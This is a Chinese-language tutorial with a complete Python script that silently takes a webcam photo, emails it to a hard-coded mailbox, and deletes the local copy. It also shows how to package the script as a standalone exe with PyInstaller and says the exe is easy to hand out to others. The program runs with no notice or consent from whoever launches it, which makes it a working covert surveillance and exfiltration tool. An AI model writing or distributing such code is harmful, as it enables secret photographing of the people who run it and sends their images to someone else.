Python 调用摄像头并发送截图至邮箱的实现原理与打包教程
本文介绍如何使用 Python 的 OpenCV 库调用摄像头拍摄照片,并结合 SMTP 协议将截图自动发送至指定邮箱。教程涵盖环境配置、核心代码逻辑解析、QQ 邮箱授权码获取方法,以及使用 PyInstaller 将脚本打包为独立可执行文件(exe)的完整步骤,便于程序分发与运行。
Python 调用摄像头并发送邮箱的实现原理与打包教程
Python 调用摄像头截图并发送邮箱的实现示例及程序打包教程
环境配置与依赖安装
本教程旨在展示如何利用 Python 编写一个能够调用本地摄像头拍摄照片,并将照片自动发送至指定邮箱的程序。首先,请确保计算机已安装 Python 3.5 或更高版本,可从 Python 官网下载并安装。随后,需要安装图像处理库 opencv-python。在终端或命令行中执行安装命令即可。为提高下载速度,建议在 pip 命令中添加清华镜像源参数 -i https://pypi.tuna.tsinghua.edu.cn/simple,以便从国内镜像服务器快速获取所需依赖库。
pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple/
核心代码逻辑与配置说明
以下是具体的代码实现及详细注释。用户需根据实际需求修改代码中的发件人邮箱、收件人邮箱以及对应的 SMTP 授权码。完成代码编写后,可将 .py 脚本文件打包为 .exe 可执行文件,从而生成无需安装 Python 环境即可运行的独立程序,方便分发给他人使用。
import os # 删除图片文件
import cv2 # 调用摄像头拍摄照片
from smtplib import SMTP_SSL # SSL加密的 传输协议
from email.mime.text import MIMEText # 构建邮件文本
from email.mime.multipart import MIMEMultipart # 构建邮件体
from email.header import Header # 发送内容
# 调用摄像头拍摄照片
def get_photo():
cap = cv2.VideoCapture(0) # 开启摄像头
f, frame = cap.read() # 将摄像头中的一帧图片数据保存
cv2.imwrite('image.jpg', frame) # 将图片保存为本地文件
cap.release() # 关闭摄像头
# 把图片文件发送到我的邮箱
def send_message():
# 选择QQ邮箱发送照片
host_server = 'smtp.qq.com' # QQ邮箱smtp服务器
pwd = '****************' # 授权码
from_qq_mail = 'QQ@qq.com' # 发件人
to_qq_mail = 'QQ@qq.com' # 收件人
msg = MIMEMultipart() # 创建一封带附件的邮件
msg['Subject'] = Header('摄像头照片', 'UTF-8') # 消息主题
msg['From'] = from_qq_mail # 发件人
msg['To'] = Header("YH", 'UTF-8') # 收件人
msg.attach(MIMEText("照片", 'html', 'UTF-8')) # 添加邮件文本信息
# 加载附件到邮箱中 SSL 方式 加密
image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
image["Content-Type"] = 'image/jpeg' # 附件格式为图片的加密数据
msg.attach(image) # 附件添加
# 开始发送邮件
smtp = SMTP_SSL(host_server) # 链接服务器
smtp .login(from_qq_mail, pwd) # 登录邮箱
smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # 发送邮箱
smtp.quit() # 退出
if __name__ == '__main__':
get_photo() # 开启摄像头获取照片
send_message() # 发送照片
os.remove('image.jpg') # 删除本地照片
邮箱授权码获取指南
获取邮箱授权码的方法如下:登录邮箱网页版,进入设置界面,找到账户选项,开启 POP3/SMTP 服务功能。按照提示完成密保验证后,系统会生成一串 16 位的授权码,请妥善保存该授权码用于程序登录验证。




程序打包步骤详解
程序打包步骤如下: 1. 首先安装 PyInstaller 库,在终端中输入命令 pip install pyinstaller 即可完成安装。 2. 确定目标脚本文件所在路径。使用 cd 命令切换目录较为繁琐,推荐一种简便方法:在文件资源管理器的地址栏直接输入 cmd 并回车,即可在当前路径下打开终端,此时当前目录即为目标路径。
3.
执行打包命令,在终端中输入相应的 PyInstaller 指令。
pyinstaller --console --onefile 7.py //这里打包的是一个叫7.py的文件。

打包完成后,在项目目录下的 dist 文件夹中即可找到生成的可执行文件。


功能测试与结果验证
最后进行功能测试,运行程序后,收件人邮箱将收到一封包含附件的邮件。附件通常具有 .bin 后缀,用户可将其后缀名修改为 .jpg,即可使用图片查看器打开并预览拍摄的照片。

至此,关于 Python 调用摄像头并发送截图的实现示例及打包教程介绍完毕。如需了解更多相关内容,可搜索本站过往文章或继续浏览后续更新。感谢支持!
免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。









